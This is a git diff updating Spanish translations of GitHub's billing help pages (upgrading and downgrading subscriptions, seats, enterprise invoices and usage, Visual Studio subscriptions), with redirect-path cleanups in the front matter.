-  ![Downgrade button](/assets/images/help/billing/downgrade-option-button.png)
+1. Debajo de "Plan actual", utiliza el menú desplegable **Editar** y haz clic en la opción a la que quieras bajar. ![Botón Bajar de categoría](/assets/images/help/billing/downgrade-option-button.png)
 {% data reusables.dotcom_billing.confirm_cancel_org_plan %}
 
-## Downgrading an organization's subscription with legacy per-repository pricing
+## Bajar de nivel la suscripción de una organización con precios tradicionales por repositorio
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[Switching your organization from per-repository to per-user pricing](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)."
+{% data reusables.dotcom_billing.switch-legacy-billing %}Para obtener más información, consulta la sección "[Cambiar a tu organización de precios por repositorio a precios por usuario](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)".
 
 {% data reusables.organizations.billing-settings %}
-5. Under "Subscriptions", select the "Edit" drop-down, and click **Edit plan**.
-    ![Edit Plan dropdown](/assets/images/help/billing/edit-plan-dropdown.png)
-1. Under "Billing/Plans",  next to the plan you want to change, click **Downgrade**.
-    ![Downgrade button](/assets/images/help/billing/downgrade-plan-option-button.png)
-1. Enter the reason you're downgrading your account, then click **Downgrade plan**.
-    ![Text box for downgrade reason and downgrade button](/assets/images/help/billing/downgrade-plan-button.png)
+5. Debajo de "Suscripciones", selecciona el menú desplegable de "Editar" y da clic en **Editar plan**. ![Menú desplegable de Editar Plan](/assets/images/help/billing/edit-plan-dropdown.png)
+1. Debajo de "Facturación/Planes", a un costado del plan que quieras cambiar, da clic en **Bajar categoría**. ![Botón Bajar de categoría](/assets/images/help/billing/downgrade-plan-option-button.png)
+1. Ingresa la razón por la cual estás degradando tu cuenta y luego haz clic en **Degradar plan**. ![Caja de texto para la razón de degradar la versión y botón de degradar](/assets/images/help/billing/downgrade-plan-button.png)
 
-## Removing paid seats from your organization
+## Eliminar asientos pagos de tu organización
 
-To reduce the number of paid seats your organization uses, you can remove members from your organization or convert members to outside collaborators and give them access to only public repositories. For more information, see:
-- "[Removing a member from your organization](/articles/removing-a-member-from-your-organization)"
-- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+Para reducir el número de asientos pagos que usa tu organización, puedes eliminar miembros de tu organización o convertirlos en colaboradores externos y darles acceso únicamente a los repositorios públicos. Para obtener más información, consulta:
+- "[Eliminar un miembro de tu organización](/articles/removing-a-member-from-your-organization)"
+- "[Convertir a un miembro de la organización en colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator)"
+- "[Administrar el acceso de un individuo al repositorio de una organización](/articles/managing-an-individual-s-access-to-an-organization-repository)"
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Current plan", use the **Edit** drop-down and click **Remove seats**.
-  ![remove seats dropdown](/assets/images/help/billing/remove-seats-dropdown.png)
-1. Under "Remove seats", select the number of seats you'd like to downgrade to.
-  ![remove seats option](/assets/images/help/billing/remove-seats-amount.png)
-1. Review the information about your new payment on your next billing date, then click **Remove seats**.
-  ![remove seats button](/assets/images/help/billing/remove-seats-button.png)
+1. Debajo de "Plan actual", utiliza el menú desplegable **Edit** y haz clic en **Eliminar plazas**. ![menú desplegable para eliminar plazas](/assets/images/help/billing/remove-seats-dropdown.png)
+1. En "Eliminar asientos" selecciona el número de asientos pagos de la categoría a la que deseas bajar. ![opción de eliminar plazas](/assets/images/help/billing/remove-seats-amount.png)
+1. Revisa la información sobre tu nuevo pago en tu siguiente fecha de facturación, posteriormente, da clic en **Eliminar plazas**. ![botón de eliminar plazas](/assets/images/help/billing/remove-seats-button.png)
 
-## Further reading
+## Leer más
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
-- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
-- "[Removing a payment method](/articles/removing-a-payment-method)"
-- "[About per-user pricing](/articles/about-per-user-pricing)"
+- "Productos de [{% data variables.product.prodname_dotcom %}](/articles/github-s-products)"
+- "[¿Cómo afecta subir o bajar de categoría al proceso de facturación?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
+- "[Acerca de la facturación en {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)".
+- "[Acerca del precio por usuario](/articles/about-per-user-pricing)"
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/index.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/index.md
index 85bbd80700..9f82333e74 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/index.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/index.md
@@ -4,14 +4,14 @@ shortTitle: Tu cuenta de GitHub
 intro: '{% ifversion fpt %}{% data variables.product.product_name %} ofrece productos gratuitos y de pago para todas las cuentas. Puedes mejorar, bajar de nivel y ver los cambios pendientes a la suscripción de tu cuenta en cualquier momento.{% elsif ghec or ghes or ghae %}Puedes administrar la configuración de {% data variables.product.product_name %}{% ifversion ghae %}.{% elsif ghec or ghes %} desde tu cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %}.{% endif %}{% endif %}'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account
-  - /categories/97/articles/
-  - /categories/paying-for-user-accounts/
-  - /articles/paying-for-your-github-user-account/
-  - /articles/managing-billing-on-github/
-  - /articles/changing-your-personal-account-s-billing-plan/
-  - /categories/billing/
-  - /categories/3/articles/
-  - /articles/managing-your-organization-s-paid-seats/
+  - /categories/97/articles
+  - /categories/paying-for-user-accounts
+  - /articles/paying-for-your-github-user-account
+  - /articles/managing-billing-on-github
+  - /articles/changing-your-personal-account-s-billing-plan
+  - /categories/billing
+  - /categories/3/articles
+  - /articles/managing-your-organization-s-paid-seats
   - /articles/managing-billing-for-your-github-account
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
index be3ead6638..dd0258fae4 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Administrar facturas para tu empresa
 shortTitle: Adminsitrar las facturas
 intro: 'Puedes ver, pagar o descargar una factura actual de tu empresa y puedes ver tu historial de pagos.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 versions:
   ghec: '*'
 type: how_to
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
index 82e5a8e8b3..d5593cd05c 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
@@ -1,22 +1,23 @@
 ---
-title: Upgrading your GitHub subscription
-intro: 'You can upgrade the subscription for any type of account on {% data variables.product.product_location %} at any time.'
+title: Subir de categoría tu suscripción de GitHub
+intro: 'Puedes mejorar la suscripción de cualquier tipo de cuenta de {% data variables.product.product_location %} en cualquier momento.'
+miniTocMaxHeadingLevel: 3
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription
-  - /articles/upgrading-your-personal-account-s-billing-plan/
-  - /articles/upgrading-your-personal-account/
-  - /articles/upgrading-your-personal-account-from-free-to-a-paid-account/
-  - /articles/upgrading-your-personal-account-from-free-to-paid-with-a-credit-card/
-  - /articles/upgrading-your-personal-account-from-free-to-paid-with-paypal/
-  - /articles/500-error-while-upgrading/
-  - /articles/upgrading-your-organization-s-billing-plan/
-  - /articles/changing-your-organization-billing-plan/
-  - /articles/upgrading-your-organization-account-from-free-to-paid-with-a-credit-card/
-  - /articles/upgrading-your-organization-account-from-free-to-paid-with-paypal/
-  - /articles/upgrading-your-organization-account/
-  - /articles/switching-from-per-repository-to-per-user-pricing/
-  - /articles/adding-seats-to-your-organization/
-  - /articles/upgrading-your-github-billing-plan/
+  - /articles/upgrading-your-personal-account-s-billing-plan
+  - /articles/upgrading-your-personal-account
+  - /articles/upgrading-your-personal-account-from-free-to-a-paid-account
+  - /articles/upgrading-your-personal-account-from-free-to-paid-with-a-credit-card
+  - /articles/upgrading-your-personal-account-from-free-to-paid-with-paypal
+  - /articles/500-error-while-upgrading
+  - /articles/upgrading-your-organization-s-billing-plan
+  - /articles/changing-your-organization-billing-plan
+  - /articles/upgrading-your-organization-account-from-free-to-paid-with-a-credit-card
+  - /articles/upgrading-your-organization-account-from-free-to-paid-with-paypal
+  - /articles/upgrading-your-organization-account
+  - /articles/switching-from-per-repository-to-per-user-pricing
+  - /articles/adding-seats-to-your-organization
+  - /articles/upgrading-your-github-billing-plan
   - /articles/upgrading-your-github-subscription
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/upgrading-your-github-subscription
 versions:
@@ -28,26 +29,36 @@ topics:
   - Troubleshooting
   - Upgrades
   - User account
-shortTitle: Upgrade your subscription
+shortTitle: Mejorar tu suscripción
 ---
-## Upgrading your personal account's subscription
 
-You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories. {% data reusables.gated-features.more-info %}
+## Acerca de las mejoras de tu suscripción
+
+{% data reusables.accounts.accounts-billed-separately %}
+
+Cuando mejoras las suscripción de una cuenta, esta mejora cambia las características de pago disponibles solo para esa cuenta y no de el resto de las cuentas que utilices.
+
+## Subir de categoría la suscripción de tu cuenta personal
+
+Puedes mejorar tu cuenta personal desde {% data variables.product.prodname_free_user %} a {% data variables.product.prodname_pro %} para obtener herramientas avanzadas de revisión de código en repositorios privados que pertenezcan a tu cuenta de usuario. El mejorar tu cuenta personal no afecta a las organizaciones que pudieras administrar ni a los repositorios que pertenezcan a dichas organizaciones. {% data reusables.gated-features.more-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
-1. Next to "Current plan", click **Upgrade**.
-  ![Upgrade button](/assets/images/help/billing/settings_billing_user_upgrade.png)
-2. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**.
+1. Junto a "Plan actual", haz clic en **Mejorar**. ![Botón para actualizar](/assets/images/help/billing/settings_billing_user_upgrade.png)
+2. Debajo de "Pro" en la página de "Comparar planes", haz clic en **Actualizar a Pro**.
 {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
 {% data reusables.dotcom_billing.show-plan-details %}
 {% data reusables.dotcom_billing.enter-billing-info %}
 {% data reusables.dotcom_billing.enter-payment-info %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-## Upgrading your organization's subscription
+## Administrar la suscripción de tu organización
 
-You can upgrade your organization from {% data variables.product.prodname_free_team %} for an organization to {% data variables.product.prodname_team %} to access advanced collaboration and management tools for teams, or upgrade your organization to {% data variables.product.prodname_ghe_cloud %} for additional security, compliance, and deployment controls. {% data reusables.gated-features.more-info-org-products %}
+Puedes mejorar la suscripción de tu organización para que tenga un producto diferente, agregarle plazas a tu producto existente o cambiar de un plan de pago por repositorio a uno por usuario.
+
+### Subir de categoría la suscripción de tu organización
+
+Puedes mejorar a tu organización desde {% data variables.product.prodname_free_team %} para organizaciones a {% data variables.product.prodname_team %} para acceder a herramientas de administración y colaboración avanzadas para equipos, o mejorarla a {% data variables.product.prodname_ghe_cloud %} para tener controles adicionales de seguridad, cumplimiento y despliegue. El mejorar una organización no afecta a tu cuenta personal o a los repositorios que pertenezcan a ella. {% data reusables.gated-features.more-info-org-products %}
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
@@ -60,41 +71,39 @@ You can upgrade your organization from {% data variables.product.prodname_free_t
 {% data reusables.dotcom_billing.owned_by_business %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-### Next steps for organizations using {% data variables.product.prodname_ghe_cloud %}
+### Próximos pasos para las organizaciones que usan {% data variables.product.prodname_ghe_cloud %}
 
-If you upgraded your organization to {% data variables.product.prodname_ghe_cloud %}, you can set up identity and access management for your organization. For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Si mejoras a tu organización a {% data variables.product.prodname_ghe_cloud %}, puedes configurar la administración de accesos e identidad para la misma. Para obtener más información, consulta la sección "[Administrar el inicio de sesión único de SAML de tu organización](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}
 
-If you'd like to use an enterprise account with {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Si quisieras utilizar una cuenta empresarial con {% data variables.product.prodname_ghe_cloud %}, contacta a {% data variables.contact.contact_enterprise_sales %}. Para obtener más información, consulta la sección "[Acerca de las cuentas empresariales](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}
 
-## Adding seats to your organization
+### Agregar asientos a tu organización
 
-If you'd like additional users to have access to your {% data variables.product.prodname_team %} organization's private repositories, you can purchase more seats anytime.
+Si quisieras que usuarios adicionales tengan acceso a los repositorios privados de {% data variables.product.prodname_team %} en tu organización, puedes comprar más plazas en cualquier momento.
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.add-seats %}
 {% data reusables.dotcom_billing.number-of-seats %}
 {% data reusables.dotcom_billing.confirm-add-seats %}
 
-## Switching your organization from per-repository to per-user pricing
+### Cambiar tu organización de precio por repositorio a precio por usuario
 
-{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."
+{% data reusables.dotcom_billing.switch-legacy-billing %}Para obtener más información, consulta "[Acerca de los precios por usuario](/articles/about-per-user-pricing)".
 
 {% data reusables.organizations.billing-settings %}
-5. To the right of your plan name, use the **Edit** drop-down menu, and select **Edit plan**.
-  ![Edit drop-down menu](/assets/images/help/billing/per-user-upgrade-button.png)
-6. To the right of "Advanced tools for teams", click **Upgrade now**.
-  ![Upgrade now button](/assets/images/help/billing/per-user-upgrade-now-button.png)
+5. A la derecha de tu nombre de plan, utiliza el menú desplegable de **Editar** y selecciona **Editar plan**. ![Menú desplegable de editar](/assets/images/help/billing/per-user-upgrade-button.png)
+6. A la derecha de "Herramientas avanzadas para equipos", da clic en **Mejorar ahora**. ![Botón de mejorar ahora](/assets/images/help/billing/per-user-upgrade-now-button.png)
 {% data reusables.dotcom_billing.choose_org_plan %}
 {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
 {% data reusables.dotcom_billing.owned_by_business %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-## Troubleshooting a 500 error when upgrading
+## Solucionar problemas de un error 500 al subir de categoría
 
 {% data reusables.dotcom_billing.500-error %}
 
-## Further reading
+## Leer más
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
-- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
+- "Productos de [{% data variables.product.prodname_dotcom %}](/articles/github-s-products)"
+- "[¿Cómo afecta subir o bajar de categoría al proceso de facturación?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
+- "[Acerca de la facturación en {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)".
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
index 62ba574ceb..60a1057344 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
@@ -3,9 +3,9 @@ title: Ver y administrar cambios pendientes en tu suscripción
 intro: Puedes ver y cancelar cambios pendientes en tus suscripciones antes de que se hagan efectivas en la próxima fecha de facturación.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription
-  - /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan/
-  - /articles/viewing-and-managing-pending-changes-to-your-organization-s-billing-plan/
-  - /articles/viewing-and-managing-pending-changes-to-your-billing-plan/
+  - /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan
+  - /articles/viewing-and-managing-pending-changes-to-your-organization-s-billing-plan
+  - /articles/viewing-and-managing-pending-changes-to-your-billing-plan
   - /articles/viewing-and-managing-pending-changes-to-your-subscription
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription
 versions:
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
index 8caeb64051..25fff77be0 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
-title: Viewing the subscription and usage for your enterprise account
-intro: 'You can view the current {% ifversion ghec %}subscription, {% endif %}license usage{% ifversion ghec %}, invoices, payment history, and other billing information{% endif %} for {% ifversion ghec %}your enterprise account{% elsif ghes %}{% data variables.product.product_location_enterprise %}{% endif %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Ver la suscripción y el uso de tu cuenta de empresa
+intro: 'Puedes ver {% ifversion ghec %}la suscripción, {% endif %}el uso de licencia{% ifversion ghec %}, facturas, historial de pagos y otra información de facturación{% endif %} para {% ifversion ghec %}tu cuenta empresarial{% elsif ghes %}{% data variables.product.product_location_enterprise %}{% endif %}.'
 permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account
@@ -13,39 +12,37 @@ versions:
   ghes: '*'
 topics:
   - Enterprise
-shortTitle: View subscription & usage
+shortTitle: Ver la suscripción & uso
 ---
 
-## About billing for enterprise accounts
+## Acerca de la facturación para las cuentas de empresa
 
-You can view an overview of {% ifversion ghec %}your subscription and paid{% elsif ghes %}the license{% endif %} usage for {% ifversion ghec %}your{% elsif ghes %}the{% endif %} enterprise account on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %}{% endif %}.
+Puedes ver un resumen de {% ifversion ghec %}tu suscripción y uso de tu {% elsif ghes %}licencia pagada{% endif %} para {% ifversion ghec %}tu{% elsif ghes %}la{% endif %} cuenta empresarial en {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %}{% endif %}.
 
-For invoiced {% data variables.product.prodname_enterprise %} customers{% ifversion ghes %} who use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}{% endif %}, each invoice includes details about billed services for all products. For example, in addition to your usage for {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, you may have usage for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghec %}, {% elsif ghes %}. You may also have usage on {% data variables.product.prodname_dotcom_the_website %}, like {% endif %}paid licenses in organizations outside of your enterprise account, data packs for {% data variables.large_files.product_name_long %}, or subscriptions to apps in {% data variables.product.prodname_marketplace %}. For more information about invoices, see "[Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise){% ifversion ghec %}."{% elsif ghes %}" in the {% data variables.product.prodname_dotcom_the_website %} documentation.{% endif %}
+Para los clientes de {% data variables.product.prodname_enterprise %} a quienes se factura{% ifversion ghes %} quienes usan tanto {% data variables.product.prodname_ghe_cloud %} como {% data variables.product.prodname_ghe_server %}{% endif %}, cada factura incluye detalles sobre los servicios que se cobran de todos los productos. Por ejemplo, adicionalmente a tu uso de {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, puedes tener un uso de {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghec %},{% elsif ghes %}. También puedes tener uso en {% data variables.product.prodname_dotcom_the_website %}, como {% endif %}licencias de pago en organizaciones fuera de tu cuenta empresarial, paquetes de datos para {% data variables.large_files.product_name_long %} o suscripciones en apps dentro de {% data variables.product.prodname_marketplace %}. Para obtener más información sobre las facturas, consulta la sección "[Administrar las facturas de tu empresa]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise){% ifversion ghec %}".{% elsif ghes %}" en la documentación de {% data variables.product.prodname_dotcom_the_website %}.{% endif %}
 
 {% ifversion ghec %}
 
-In addition to enterprise owners, billing managers can view the subscription and usage for your enterprise account. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise#billing-manager)" and "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)."
+Adicionalmente a los propietarios de empresas, los gerentes de facturación pueden ver la suscripción y el uso de tu cuenta empresarial. Para obtener más información, consulta las secciones "[Roles en una empresa](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise#billing-manager)" y "[Invitar a las personas para que administren tu empresa](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)".
 
-{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} Para obtener más información, consulta la sección "[Conectar una suscripción de Azure a tu empresa](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)".
 
 {% endif %}
 
 {% ifversion ghes %}
 
-If you want to view an overview of your subscription and usage for {% data variables.product.prodname_enterprise %} and any related services on {% data variables.product.prodname_dotcom_the_website %}, see "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
+Si quieres ver un resumen de tu uso y suscripción de {% data variables.product.prodname_enterprise %} y de cualquier servicio relacionado en {% data variables.product.prodname_dotcom_the_website %}, consulta la sección de "[Ver el uso y suscripción de tu cuenta empresarial](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" en la documentación de {% data variables.product.prodname_ghe_cloud %}.
 
 {% endif %}
 
-## Viewing the subscription and usage for your enterprise account
+## Ver la suscripción y el uso de tu cuenta de empresa
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.license-tab %}
-1. Under "User licenses", view your total licenses, number of consumed licenses, and your subscription expiration date.
+1. En "Licencias de Usuario", ve tus licencias totales, la cantidad de licencias consumidas y la fecha de vencimiento de tu suscripción.
   {% ifversion ghec %}![License and subscription information in enterprise billing settings](/assets/images/help/business-accounts/billing-license-info.png){% else %}
-  ![License and subscription information in enterprise billing settings](/assets/images/enterprise/enterprise-server/enterprise-server-billing-license-info.png){% endif %}
-1. Optionally, to view details for license usage or download a {% ifversion ghec %}CSV{% elsif ghes %}JSON{% endif %} file with license details{% ifversion ghec %}, to the right of "User Licenses"{% endif %}, click **View {% ifversion ghec %}details{% elsif ghes %}users{% endif %}** or {% ifversion ghec %}{% octicon "download" aria-label="The download icon" %}{% elsif ghes %}**Export license usage**{% endif %}.{% ifversion ghec %}
-  !["View details" button and button with download icon to the right of "User Licenses"](/assets/images/help/business-accounts/billing-license-info-click-view-details-or-download.png){% endif %}{% ifversion ghec %}
-1. Optionally, to view usage details for other features, in the left sidebar, click **Billing**.
-  ![Billing tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/settings-billing-tab.png)
+  ![Información de licencia y suscripción en las configuraciones de facturación de la empresa](/assets/images/enterprise/enterprise-server/enterprise-server-billing-license-info.png){% endif %}
+1. Opcionalmente, para ver los detalles del uso de licencia o para descargar un archivo {% ifversion ghec %}CSV{% elsif ghes %}JSON{% endif %} con los detalles de la misma{% ifversion ghec %}, a la derecha de "Licencias de Usuario"{% endif %}, haz clic en **Ver {% ifversion ghec %}detalles{% elsif ghes %}usuarios{% endif %}** o {% ifversion ghec %}{% octicon "download" aria-label="The download icon" %}{% elsif ghes %}**Eportar uso de licencia**{% endif %}.{% ifversion ghec %}!["View details" button and button with download icon to the right of "User Licenses"](/assets/images/help/business-accounts/billing-license-info-click-view-details-or-download.png){% endif %}{% ifversion ghec %}
+1. Opcionalmente, para ver los detalles de uso de otras características, en la barra lateral izquierda, da clic en **Facturación**. ![Pestaña de facturación en la barra lateral de parámetros de la cuenta de empresa](/assets/images/help/business-accounts/settings-billing-tab.png)
 {% endif %}
diff --git a/translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md b/translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
index 86724905ed..bd89d05f81 100644
--- a/translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
+++ b/translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
@@ -16,36 +16,36 @@ type: overview
 topics:
   - Enterprise
   - Licensing
-shortTitle: About
+shortTitle: Acerca de
 ---
 
-## About {% data variables.product.prodname_vss_ghe %}
+## Acerca de {% data variables.product.prodname_vss_ghe %}
 
-{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.product.prodname_vss_ghe %} is available from Microsoft under the terms of the Microsoft Enterprise Agreement. For more information, see [{% data variables.product.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) on the {% data variables.product.prodname_vs %} website.
+{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.product.prodname_vss_ghe %} se encuentra disponible desde Microsoft bajo las condiciones del Acuerdo Empresarial de Microsoft. Para obtener más información, consulta la sección [{% data variables.product.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) en el sitio web de {% data variables.product.prodname_vs %}.
 
-To use the {% data variables.product.prodname_enterprise %} portion of the license, each subscriber's user account on {% data variables.product.prodname_dotcom_the_website %} must be or become a member of an organization owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}. To accomplish this, organization owners can invite new members to an organization by email address. The subscriber can accept the invitation with an existing user account on {% data variables.product.prodname_dotcom_the_website %} or create a new account.
+Para utilizar la porción de {% data variables.product.prodname_enterprise %} de la licencia, cada cuenta de usuario del suscriptor de {% data variables.product.prodname_dotcom_the_website %} debe ser o convertirse en miembro de una organización que pertenezca a tu empresa en {% data variables.product.prodname_dotcom_the_website %}. To accomplish this, organization owners can invite new members to an organization by email address. El suscriptor puede aceptar la invitación con una cuenta de usuario existente en {% data variables.product.prodname_dotcom_the_website %} o crear una cuenta nueva.
 
 For more information about the setup of {% data variables.product.prodname_vss_ghe %}, see "[Setting up {% data variables.product.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise)."
 
-## About licenses for {% data variables.product.prodname_vss_ghe %}
+## Acerca de las licencias para {% data variables.product.prodname_vss_ghe %}
 
-After you assign a license for {% data variables.product.prodname_vss_ghe %} to a subscriber, the subscriber will use the {% data variables.product.prodname_enterprise %} portion of the license by joining an organization in your enterprise with a user account on {% data variables.product.prodname_dotcom_the_website %}. If the email address for the user account of an enterprise member on {% data variables.product.prodname_dotcom_the_website %} matches the User Primary Name (UPN) for a subscriber to your {% data variables.product.prodname_vs %} account, the {% data variables.product.prodname_vs %} subscriber will automatically consume one license for {% data variables.product.prodname_vss_ghe %}.
